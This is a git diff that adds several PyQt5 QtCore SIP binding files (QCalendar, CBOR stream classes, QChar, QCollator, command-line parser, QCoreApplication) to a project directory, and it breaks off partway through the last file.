b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcalendar.sip new file mode 100644 index 00000000..7693b147 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcalendar.sip @@ -0,0 +1,100 @@ +// qcalendar.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_14_0 -) + +class QCalendar +{ +%TypeHeaderCode +#include +%End + +public: + enum + { + Unspecified, + }; + + struct YearMonthDay + { +%TypeHeaderCode +#include +%End + + YearMonthDay(); + YearMonthDay(int year, int month = 1, int day = 1); + bool isValid() const; + int year; + int month; + int day; + }; + + enum class System + { + Gregorian, + Julian, + Milankovic, + Jalali, + IslamicCivil, + }; + + QCalendar(); + explicit QCalendar(QCalendar::System system); + explicit QCalendar(const char *name /Encoding="Latin-1"/) [(QLatin1String name)]; +%MethodCode + // This is currently the only occurence of a QLatin1String argument. + sipCpp = new QCalendar(QLatin1String(a0)); +%End + + int daysInMonth(int month, int year = QCalendar::Unspecified) const; + int daysInYear(int year) const; + int monthsInYear(int year) const; + bool isDateValid(int year, int month, int day) const; + bool isLeapYear(int year) const; + bool isGregorian() const; + bool isLunar() const; + bool isLuniSolar() const; + bool isSolar() const; + bool isProleptic() const; + bool hasYearZero() const; + int maximumDaysInMonth() const; + int minimumDaysInMonth() const; + int maximumMonthsInYear() const; + QString name() const; + QDate dateFromParts(int year, int month, int day) const; + QDate dateFromParts(const QCalendar::YearMonthDay &parts) const; + QCalendar::YearMonthDay partsFromDate(QDate date) const; + int dayOfWeek(QDate date) const; + QString monthName(const QLocale &locale, int month, int year = QCalendar::Unspecified, QLocale::FormatType format = QLocale::LongFormat) const; + QString standaloneMonthName(const QLocale &locale, int month, int year = QCalendar::Unspecified, QLocale::FormatType format = QLocale::LongFormat) const; + QString weekDayName(const QLocale &locale, int day, QLocale::FormatType format = QLocale::LongFormat) const; + QString standaloneWeekDayName(const QLocale &locale, int day, QLocale::FormatType format = QLocale::LongFormat) const; + QString dateTimeToString(const QString &format, const QDateTime &datetime, const QDate &dateOnly, const QTime &timeOnly, const QLocale &locale) const; +%MethodCode + // QStringView has issues being implemented as a mapped type. + sipRes = new QString(sipCpp->dateTimeToString(QStringView(*a0), *a1, *a2, *a3, *a4)); +%End + + static QStringList availableCalendars(); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcborcommon.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcborcommon.sip new file mode 100644 index 00000000..117d4a78 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcborcommon.sip @@ -0,0 +1,108 @@ +// qcborcommon.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_12_0 -) +%ModuleCode +#include +%End +%End + +%If (Qt_5_12_0 -) + +enum class QCborSimpleType +{ + False /PyName=False_/, + True /PyName=True_/, + Null, + Undefined, +}; + +%End +%If (Qt_5_12_0 -) + +struct QCborError +{ +%TypeHeaderCode +#include +%End + + enum Code + { + UnknownError, + AdvancePastEnd, + InputOutputError, + GarbageAtEnd, + EndOfFile, + UnexpectedBreak, + UnknownType, + IllegalType, + IllegalNumber, + IllegalSimpleType, + InvalidUtf8String, + DataTooLarge, + NestingTooDeep, + UnsupportedType, + NoError, + }; + +// Error code access +// This class is currently undocumented. Access to the error code is via a +// cast (which SIP doesn't support) or a badly named instance variable. To be +// safe we implement a more Qt-typical solution. +QCborError::Code code() const; +%MethodCode + sipRes = sipCpp->c; +%End + QString toString() const; +}; + +%End +%If (Qt_5_12_0 -) + +enum class QCborKnownTags +{ + DateTimeString, + UnixTime_t, + PositiveBignum, + NegativeBignum, + Decimal, + Bigfloat, + COSE_Encrypt0, + COSE_Mac0, + COSE_Sign1, + ExpectedBase64url, + ExpectedBase64, + ExpectedBase16, + EncodedCbor, + Url, + Base64url, + Base64, + RegularExpression, + MimeMessage, + Uuid, + COSE_Encrypt, + COSE_Mac, + COSE_Sign, + Signature, +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcborstream.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcborstream.sip new file mode 100644 index 00000000..13d4d05b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcborstream.sip @@ -0,0 +1,234 @@ +// qcborstream.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_12_0 -) + +class QCborStreamWriter +{ +%TypeHeaderCode +#include +%End + +public: + explicit QCborStreamWriter(QIODevice *device); + explicit QCborStreamWriter(QByteArray *data); + ~QCborStreamWriter(); + void setDevice(QIODevice *device); + QIODevice *device() const; + void append(QCborSimpleType st); + void append(QCborKnownTags tag); + void append(const QString &str) [void (QStringView str)]; + void append(const QByteArray &ba); + void append(bool b /Constrained/); + void append(double d /Constrained/); +%MethodCode + // Use the smallest type without losing precision. + + qfloat16 a0_16 = a0; + + if (qIsNaN(a0) || a0_16 == a0) + { + sipCpp->append(a0_16); + } + else + { + float a0_float = a0; + + if (a0_float == a0) + sipCpp->append(a0_float); + else + sipCpp->append(a0); + } +%End + + void append(SIP_PYOBJECT /TypeHint="int"/); +%MethodCode + #if PY_MAJOR_VERSION < 3 + if (PyLong_Check(a0)) + #endif + { + static PyObject *zero = 0; + + if (!zero) + zero = PyLong_FromLong(0); + + if (PyObject_RichCompareBool(a0, zero, Py_LT) > 0) + { + PyErr_Clear(); + qint64 val = sipLong_AsLongLong(a0); + + if (PyErr_Occurred()) + sipError = sipErrorFail; + else + sipCpp->append(val); + } + else + { + PyErr_Clear(); + quint64 val = sipLong_AsUnsignedLongLong(a0); + + if (PyErr_Occurred()) + sipError = sipErrorFail; + else + sipCpp->append(val); + } + } + #if PY_MAJOR_VERSION < 3 + else if (PyInt_Check(a0)) + { + PyErr_Clear(); + long val = PyInt_AsLong(a0); + + if (PyErr_Occurred()) + sipError = sipErrorFail; + else if (val < 0) + sipCpp->append((qint64)val); + else + sipCpp->append((quint64)val); + } + #endif +%End + + void appendNull(); + void appendUndefined(); + void startArray(); + void startArray(quint64 count); + bool endArray(); + void startMap(); + void startMap(quint64 count); + bool endMap(); + +private: + QCborStreamWriter(const QCborStreamWriter &); +}; + +%End +%If (Qt_5_12_0 -) + +class QCborStreamReader +{ +%TypeHeaderCode +#include +%End + +public: + enum Type + { + UnsignedInteger, + NegativeInteger, + ByteString, + ByteArray, + TextString, + String, + Array, + Map, + Tag, + SimpleType, + HalfFloat, + Float16, + Float, + Double, + Invalid, + }; + + enum StringResultCode + { + EndOfString, + Ok, + Error, + }; + + QCborStreamReader(); + explicit QCborStreamReader(const QByteArray &data); + explicit QCborStreamReader(QIODevice *device); + ~QCborStreamReader(); + void setDevice(QIODevice *device); + QIODevice *device() const; + void addData(const QByteArray &data); + void reparse(); + void clear(); + void reset(); + QCborError lastError(); + qint64 currentOffset() const; + bool isValid() const; + int containerDepth() const; + QCborStreamReader::Type parentContainerType() const; + bool hasNext() const; + bool next(int maxRecursion = 10000); + QCborStreamReader::Type type() const; + bool isUnsignedInteger() const; + bool isNegativeInteger() const; + bool isInteger() const; + bool isByteArray() const; + bool isString() const; + bool isArray() const; + bool isMap() const; + bool isTag() const; + bool isSimpleType() const; + bool isFloat16() const; + bool isFloat() const; + bool isDouble() const; + bool isInvalid() const; + bool isSimpleType(QCborSimpleType st) const; + bool isFalse() const; + bool isTrue() const; + bool isBool() const; + bool isNull() const; + bool isUndefined() const; + bool isLengthKnown() const; + quint64 length() const /__len__/; + bool isContainer() const; + bool enterContainer(); + bool leaveContainer(); + SIP_PYTUPLE readString() /TypeHint="Tuple[str, QCborStreamReader.StringResultCode]"/; +%MethodCode + QCborStreamReader::StringResult res = sipCpp->readString(); + + QString *qs = new QString; + if (res.status != QCborStreamReader::Error) + *qs = res.data; + + sipRes = sipBuildResult(NULL, "NF", qs, sipType_QString, NULL, res.status, sipType_QCborStreamReader_StringResultCode); +%End + + SIP_PYTUPLE readByteArray() /TypeHint="Tuple[QByteArray, QCborStreamReader.StringResultCode]"/; +%MethodCode + QCborStreamReader::StringResult res = sipCpp->readByteArray(); + + QByteArray *qba = new QByteArray; + if (res.status != QCborStreamReader::Error) + *qba = res.data; + + sipRes = sipBuildResult(NULL, "NF", qba, sipType_QByteArray, NULL, res.status, sipType_QCborStreamReader_StringResultCode); +%End + + bool toBool() const; + quint64 toUnsignedInteger() const; + QCborSimpleType toSimpleType() const; + double toDouble() const; + qint64 toInteger() const; + +private: + QCborStreamReader(const QCborStreamReader &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qchar.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qchar.sip new file mode 100644 index 00000000..b26d309d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qchar.sip @@ -0,0 +1,55 @@ +// qchar.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +// QChar mapped type. +%MappedType QChar /TypeHint="str",TypeHintValue="''"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertToTypeCode +if (sipIsErr == NULL) +#if PY_MAJOR_VERSION < 3 + return (PyString_Check(sipPy) || PyUnicode_Check(sipPy)); +#else + return PyUnicode_Check(sipPy); +#endif + +QString qs = qpycore_PyObject_AsQString(sipPy); + +if (qs.size() != 1) +{ + PyErr_SetString(PyExc_ValueError, "string of length 1 expected"); + *sipIsErr = 1; + return 0; +} + +*sipCppPtr = new QChar(qs.at(0)); + +return sipGetState(sipTransferObj); +%End + +%ConvertFromTypeCode + return qpycore_PyObject_FromQString(QString(*sipCpp)); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcollator.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcollator.sip new file mode 100644 index 00000000..fae8752c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcollator.sip @@ -0,0 +1,70 @@ +// qcollator.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QCollatorSortKey +{ +%TypeHeaderCode +#include +%End + +public: + QCollatorSortKey(const QCollatorSortKey &other); + ~QCollatorSortKey(); + void swap(QCollatorSortKey &other /Constrained/); + int compare(const QCollatorSortKey &key) const; + +private: + QCollatorSortKey(); +}; + +%End +%If (Qt_5_2_0 -) +bool operator<(const QCollatorSortKey &lhs, const QCollatorSortKey &rhs); +%End +%If (Qt_5_2_0 -) + +class QCollator +{ +%TypeHeaderCode +#include +%End + +public: + explicit QCollator(const QLocale &locale = QLocale()); + QCollator(const QCollator &); + ~QCollator(); + void swap(QCollator &other /Constrained/); + void setLocale(const QLocale &locale); + QLocale locale() const; + Qt::CaseSensitivity caseSensitivity() const; + void setCaseSensitivity(Qt::CaseSensitivity cs); + void setNumericMode(bool on); + bool numericMode() const; + void setIgnorePunctuation(bool on); + bool ignorePunctuation() const; + int compare(const QString &s1, const QString &s2) const; + QCollatorSortKey sortKey(const QString &string) const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcommandlineoption.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcommandlineoption.sip new file mode 100644 index 00000000..5da4c328 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcommandlineoption.sip @@ -0,0 +1,90 @@ +// qcommandlineoption.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QCommandLineOption +{ +%TypeHeaderCode +#include +%End + +public: +%If (Qt_5_4_0 -) + explicit QCommandLineOption(const QString &name); +%End +%If (Qt_5_4_0 -) + explicit QCommandLineOption(const QStringList &names); +%End +%If (Qt_5_4_0 -) + QCommandLineOption(const QString &name, const QString &description, const QString &valueName = QString(), const QString &defaultValue = QString()); +%End +%If (- Qt_5_4_0) + QCommandLineOption(const QString &name, const QString &description = QString(), const QString &valueName = QString(), const QString &defaultValue = QString()); +%End +%If (Qt_5_4_0 -) + QCommandLineOption(const QStringList &names, const QString &description, const QString &valueName = QString(), const QString &defaultValue = QString()); +%End +%If (- Qt_5_4_0) + QCommandLineOption(const QStringList &names, const QString &description = QString(), const QString &valueName = QString(), const QString &defaultValue = QString()); +%End + QCommandLineOption(const QCommandLineOption &other); + ~QCommandLineOption(); + void swap(QCommandLineOption &other /Constrained/); + QStringList names() const; + void setValueName(const QString &name); + QString valueName() const; + void setDescription(const QString &description); + QString description() const; + void setDefaultValue(const QString &defaultValue); + void setDefaultValues(const QStringList &defaultValues); + QStringList defaultValues() const; +%If (Qt_5_6_0 -) + void setHidden(bool hidden); +%End +%If (Qt_5_6_0 -) + bool isHidden() const; +%End +%If (Qt_5_8_0 -) + + enum Flag + { + HiddenFromHelp, + ShortOptionStyle, + }; + +%End +%If (Qt_5_8_0 -) + typedef QFlags Flags; +%End +%If (Qt_5_8_0 -) + QCommandLineOption::Flags flags() const; +%End +%If (Qt_5_8_0 -) + void setFlags(QCommandLineOption::Flags aflags); +%End +}; + +%End +%If (Qt_5_8_0 -) +QFlags operator|(QCommandLineOption::Flag f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcommandlineparser.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcommandlineparser.sip new file mode 100644 index 00000000..758c3a48 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcommandlineparser.sip @@ -0,0 +1,87 @@ +// qcommandlineparser.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QCommandLineParser +{ +%TypeHeaderCode +#include +%End + +public: + QCommandLineParser(); + ~QCommandLineParser(); + + enum SingleDashWordOptionMode + { + ParseAsCompactedShortOptions, + ParseAsLongOptions, + }; + + void setSingleDashWordOptionMode(QCommandLineParser::SingleDashWordOptionMode parsingMode); + bool addOption(const QCommandLineOption &commandLineOption); + QCommandLineOption addVersionOption(); + QCommandLineOption addHelpOption(); + void setApplicationDescription(const QString &description); + QString applicationDescription() const; + void addPositionalArgument(const QString &name, const QString &description, const QString &syntax = QString()); + void clearPositionalArguments(); + void process(const QStringList &arguments) /ReleaseGIL/; + void process(const QCoreApplication &app) /ReleaseGIL/; + bool parse(const QStringList &arguments); + QString errorText() const; + bool isSet(const QString &name) const; + QString value(const QString &name) const; + QStringList values(const QString &name) const; + bool isSet(const QCommandLineOption &option) const; + QString value(const QCommandLineOption &option) const; + QStringList values(const QCommandLineOption &option) const; + QStringList positionalArguments() const; + QStringList optionNames() const; + QStringList unknownOptionNames() const; + void showHelp(int exitCode = 0) /ReleaseGIL/; + QString helpText() const; +%If (Qt_5_4_0 -) + bool addOptions(const QList &options); +%End +%If (Qt_5_4_0 -) + void showVersion(); +%End +%If (Qt_5_6_0 -) + + enum OptionsAfterPositionalArgumentsMode + { + ParseAsOptions, + ParseAsPositionalArguments, + }; + +%End +%If (Qt_5_6_0 -) + void setOptionsAfterPositionalArgumentsMode(QCommandLineParser::OptionsAfterPositionalArgumentsMode mode); +%End + +private: + QCommandLineParser(const QCommandLineParser &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qconcatenatetablesproxymodel.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qconcatenatetablesproxymodel.sip new file mode 100644 index 00000000..8860402a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qconcatenatetablesproxymodel.sip @@ -0,0 +1,96 @@ +// qconcatenatetablesproxymodel.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_13_0 -) + +class QConcatenateTablesProxyModel : QAbstractItemModel +{ +%TypeHeaderCode +#include +%End + +public: + explicit QConcatenateTablesProxyModel(QObject *parent /TransferThis/ = 0); + virtual ~QConcatenateTablesProxyModel(); + void addSourceModel(QAbstractItemModel *sourceModel /GetWrapper/); +%MethodCode + // We want to keep a reference to the model but this is in addition to the + // existing ones and does not replace them - so we can't use /KeepReference/. + sipCpp->addSourceModel(a0); + + // Use the user object as a list of the references. + PyObject *user = sipGetUserObject((sipSimpleWrapper *)sipSelf); + + if (!user) + { + user = PyList_New(0); + sipSetUserObject((sipSimpleWrapper *)sipSelf, user); + } + + if (user) + PyList_Append(user, a0Wrapper); +%End + + void removeSourceModel(QAbstractItemModel *sourceModel /GetWrapper/); +%MethodCode + // Discard the extra model reference that we took in addSourceModel(). + sipCpp->removeSourceModel(a0); + + // Use the user object as a list of the references. + PyObject *user = sipGetUserObject((sipSimpleWrapper *)sipSelf); + + if (user) + { + Py_ssize_t i = 0; + + // Note that we deal with an object appearing in the list more than once. + while (i < PyList_Size(user)) + if (PyList_GetItem(user, i) == a0Wrapper) + PyList_SetSlice(user, i, i + 1, NULL); + else + ++i; + } +%End + + QModelIndex mapFromSource(const QModelIndex &sourceIndex) const; + QModelIndex mapToSource(const QModelIndex &proxyIndex) const; + virtual QVariant data(const QModelIndex &index, int role = Qt::ItemDataRole::DisplayRole) const; + virtual bool setData(const QModelIndex &index, const QVariant &value, int role = Qt::ItemDataRole::EditRole); + virtual QMap itemData(const QModelIndex &proxyIndex) const; + virtual bool setItemData(const QModelIndex &index, const QMap &roles); + virtual Qt::ItemFlags flags(const QModelIndex &index) const; + virtual QModelIndex index(int row, int column, const QModelIndex &parent = QModelIndex()) const; + virtual QModelIndex parent(const QModelIndex &index) const; + virtual int rowCount(const QModelIndex &parent = QModelIndex()) const; + virtual QVariant headerData(int section, Qt::Orientation orientation, int role = Qt::ItemDataRole::DisplayRole) const; + virtual int columnCount(const QModelIndex &parent = QModelIndex()) const; + virtual QStringList mimeTypes() const; + virtual QMimeData *mimeData(const QModelIndexList &indexes) const /TransferBack/; + virtual bool canDropMimeData(const QMimeData *data, Qt::DropAction action, int row, int column, const QModelIndex &parent) const; + virtual bool dropMimeData(const QMimeData *data, Qt::DropAction action, int row, int column, const QModelIndex &parent); + virtual QSize span(const QModelIndex &index) const; +%If (Qt_5_15_0 -) + QList sourceModels() const; +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcoreapplication.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcoreapplication.sip new file mode 100644 index 00000000..08fdafbb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcoreapplication.sip @@ -0,0 +1,366 @@ +// qcoreapplication.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%ModuleCode +#include +%End + +class QCoreApplication : QObject +{ +%TypeHeaderCode +#include +%End + +public: + QCoreApplication(SIP_PYLIST argv /TypeHint="List[str]"/) /PostHook=__pyQtQAppHook__/ [(int &argc, char **argv)]; +%MethodCode + // The Python interface is a list of argument strings that is modified. + + int argc; + char **argv; + + // Convert the list. + if ((argv = pyqt5_from_argv_list(a0, argc)) == NULL) + sipIsErr = 1; + else + { + // Create it now the arguments are right. + static int nargc; + nargc = argc; + + Py_BEGIN_ALLOW_THREADS + sipCpp = new sipQCoreApplication(nargc, argv); + Py_END_ALLOW_THREADS + + // Now modify the original list. + pyqt5_update_argv_list(a0, argc, argv); + } +%End + + virtual ~QCoreApplication() /ReleaseGIL/; +%MethodCode + pyqt5_cleanup_qobjects(); +%End + + static void setOrganizationDomain(const QString &orgDomain); + static QString organizationDomain(); + static void setOrganizationName(const QString &orgName); + static QString organizationName(); + static void setApplicationName(const QString &application); + static QString applicationName(); + static QStringList arguments(); + static QCoreApplication *instance(); + static int exec() /PostHook=__pyQtPostEventLoopHook__,PreHook=__pyQtPreEventLoopHook__,PyName=exec_,ReleaseGIL/; +%If (Py_v3) + static int exec() /PostHook=__pyQtPostEventLoopHook__,PreHook=__pyQtPreEventLoopHook__,ReleaseGIL/; +%End + static void processEvents(QEventLoop::ProcessEventsFlags flags = QEventLoop::ProcessEventsFlag::AllEvents) /ReleaseGIL/; + static void processEvents(QEventLoop::ProcessEventsFlags flags, int maxtime) /ReleaseGIL/; + static void exit(int returnCode = 0); + static bool sendEvent(QObject *receiver, QEvent *event) /ReleaseGIL/; + static void postEvent(QObject *receiver, QEvent *event /Transfer/, int priority = Qt::EventPriority::NormalEventPriority); + static void sendPostedEvents(QObject *receiver = 0, int eventType = 0) /ReleaseGIL/; + static void removePostedEvents(QObject *receiver, int eventType = 0); + static bool hasPendingEvents(); + virtual bool notify(QObject *, QEvent *) /ReleaseGIL/; + static bool startingUp(); + static bool closingDown(); + static QString applicationDirPath(); + static QString applicationFilePath(); + static void setLibraryPaths(const QStringList &); + static QStringList libraryPaths(); + static void addLibraryPath(const QString &); + static void removeLibraryPath(const QString &); + static bool installTranslator(QTranslator *messageFile); + static bool removeTranslator(QTranslator *messageFile); + static QString translate(const char *context, const char *sourceText /Encoding="UTF-8"/, const char *disambiguation = 0, int n = -1); + static void flush() /ReleaseGIL/; + static void setAttribute(Qt::ApplicationAttribute attribute, bool on = true); + static bool testAttribute(Qt::ApplicationAttribute attribute); + +public slots: + static void quit(); + +signals: + void aboutToQuit(); + +protected: + virtual bool event(QEvent *); + +public: + static void setApplicationVersion(const QString &version); + static QString applicationVersion(); + static qint64 applicationPid(); + static QAbstractEventDispatcher *eventDispatcher(); + static void setEventDispatcher(QAbstractEventDispatcher *eventDispatcher /Transfer/); + static bool isQuitLockEnabled(); + static void setQuitLockEnabled(bool enabled); + void installNativeEventFilter(QAbstractNativeEventFilter *filterObj); + void removeNativeEventFilter(QAbstractNativeEventFilter *filterObj); +%If (Qt_5_3_0 -) + static void setSetuidAllowed(bool allow); +%End +%If (Qt_5_3_0 -) + static bool isSetuidAllowed(); +%End + SIP_PYOBJECT __enter__(); +%MethodCode + // Just return a reference to self. + sipRes = sipSelf; + Py_INCREF(sipRes); +%End + + void __exit__(SIP_PYOBJECT type, SIP_PYOBJECT value, SIP_PYOBJECT traceback); +%MethodCode + // Make sure the QCoreApplication is destroyed. + delete sipCpp; +%End +}; + +void qAddPostRoutine(SIP_PYCALLABLE); +%MethodCode + // Add it to the list of post routines if it already exists. + if (qtcore_PostRoutines != NULL) + { + // See if there is an empty slot. + bool app = true; + + for (Py_ssize_t i = 0; i < PyList_Size(qtcore_PostRoutines); ++i) + if (PyList_GetItem(qtcore_PostRoutines, i) == Py_None) + { + Py_INCREF(a0); + PyList_SetItem(qtcore_PostRoutines, i, a0); + + app = false; + + break; + } + + if (app && PyList_Append(qtcore_PostRoutines, a0) < 0) + sipIsErr = 1; + } + else if ((qtcore_PostRoutines = PyList_New(1)) != NULL) + { + Py_INCREF(a0); + PyList_SetItem(qtcore_PostRoutines, 0, a0); + + qAddPostRoutine(qtcore_CallPostRoutines); + } + else + { + sipIsErr = 1; + } +%End + +void qRemovePostRoutine(SIP_PYCALLABLE); +%MethodCode + // Remove it from the list of post routines if it exists. + if (qtcore_PostRoutines != NULL) + for (Py_ssize_t i = 0; i < PyList_Size(qtcore_PostRoutines); ++i) + if (PyList_GetItem(qtcore_PostRoutines, i) == a0) + { + Py_INCREF(Py_None); + PyList_SetItem(qtcore_PostRoutines, i, Py_None); + + break; + } +%End + +%If (Qt_5_1_0 -) +void qAddPreRoutine(SIP_PYCALLABLE routine /TypeHint="Callable[[], None]"/); +%MethodCode + // Add it to the list of pre routines if it already exists. + if (qtcore_PreRoutines != NULL) + { + if (PyList_Append(qtcore_PreRoutines, a0) < 0) + sipIsErr = 1; + } + else if ((qtcore_PreRoutines = PyList_New(1)) != NULL) + { + Py_INCREF(a0); + PyList_SetItem(qtcore_PreRoutines, 0, a0); + + qAddPreRoutine(qtcore_CallPreRoutines); + } + else + { + sipIsErr = 1; + } +%End + +%End +// Module code needed by qAddPreRoutine, qAddPostRoutine() and qRemovePostRoutine(). +%ModuleCode +#if QT_VERSION >= 0x050100 +// The list of Python pre routines. +static PyObject *qtcore_PreRoutines = NULL; + +// Call all of the registered Python pre routines. +static void qtcore_CallPreRoutines() +{ + for (Py_ssize_t i = 